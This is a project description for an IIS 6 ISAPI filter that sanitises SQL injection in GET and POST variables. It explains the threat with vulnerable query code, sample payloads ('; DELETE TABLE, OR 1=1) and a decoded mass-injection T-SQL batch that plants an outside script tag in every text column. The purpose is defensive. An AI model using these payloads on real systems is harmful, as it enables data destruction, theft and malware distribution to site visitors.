IIS 6 SQL Injection Sanitation ISAPI Wildcard

Project Description

This ISAPI wildcard, which works as a ISAPI filter, sanitizes SQL Injection attacks directly from GET and POST variables.

IMPORTANT
Version 1.5 is available and fix a potential problem with attacks using both GET and POST in a very limited scenario when the attacker can control the receiving form. It also address problems with Frontpage Extensions. If you have a previous version please update to this new version. Thanks Zachary Johnson for your feedback. See this discussion for more details: Still possible to execute SQL statement if defined in the form action attribute. This version is compatible with both classic ASP and ASP.NET. I have removed all previous version.

Introduction

This ISAPI dll prevents SQL Injection attempts by intercepting the HTTP requests and sanitizing both GET and POST variables (or any combination of both) before the request reaches the intended code. This is especially useful for legacy applications not designed to deal with MS SQL Server Injection attempts. Though this application was designed with MS SQL Server in mind, it can be used with no or minimal changes with other database engines.

This ISAPI is only compatible with Internet Information Server (IIS) 6.0 which comes with Windows 2003. Windows XP uses IIS 5 engine which DOES NOT support ISAPI Wildcard.

Background

SQL Server Injection is a common technique of application attack targeting the database layer of such application. All applications using string concatenation to create SQL queries instead of parameterized queries are by nature vulnerable, no exceptions. See below a basic example:

C#:
stringSQL = "SELECT * FROM users WHERE userName = \'" + UserId.Text + "\';";

Classic ASP:
stringSQL = "SELECT * FROM users WHERE userName = '" & Request("UserId") & "';"


If the UserId is entered as: '; DELETE TABLE xxxx; -- the SQL query sent to the database will be:

SELECT * FROM users WHERE userName = ''; DELETE TABLE xxxx; --';

Which will delete table xxxx. Other category of attack is related to privacy. If User Id is entered as ' OR 1=1 -- the resulting SQL query will be:

SELECT * FROM users WHERE userName = '' OR 1=1 --';

Forcing the return of all rows from table "users".

More sophisticated attack using inline:
http://server/myapp/showproduct.asp?id=z;DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0×440045004300…7200%20AS%20NVARCHAR(4000));EXEC(@S);–

… = a few hundred chars that were not included (hex encoded values)

Which translate to the following T-SQL batch:
DECLARE @T varchar(255),@C varchar(255)
DECLARE Table_Cursor CURSOR FOR
select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype=’u’ and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN
exec(’update ['@T'] set ['@C']=rtrim(convert(varchar,['@C']))+”<script src=http://www.211796*.net/f****}p.js></script>”’)
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

See more about this kind of attack here: http://treyford.wordpress.com/2008/04/30/scary-mass-sql-attack

This category of attack is also completely blocked by the filter since the very beta version

By Rodney Viana
http://www.rodneyviana.com
http://blogs.msdn.com/rodneyviana

Download Installer
First Release

Installation
A video describing the step-by-step installation is available here: First Release

You can also see written instructions in this Discussion thread: Installation

64-bit beta version is released

I need beta testers.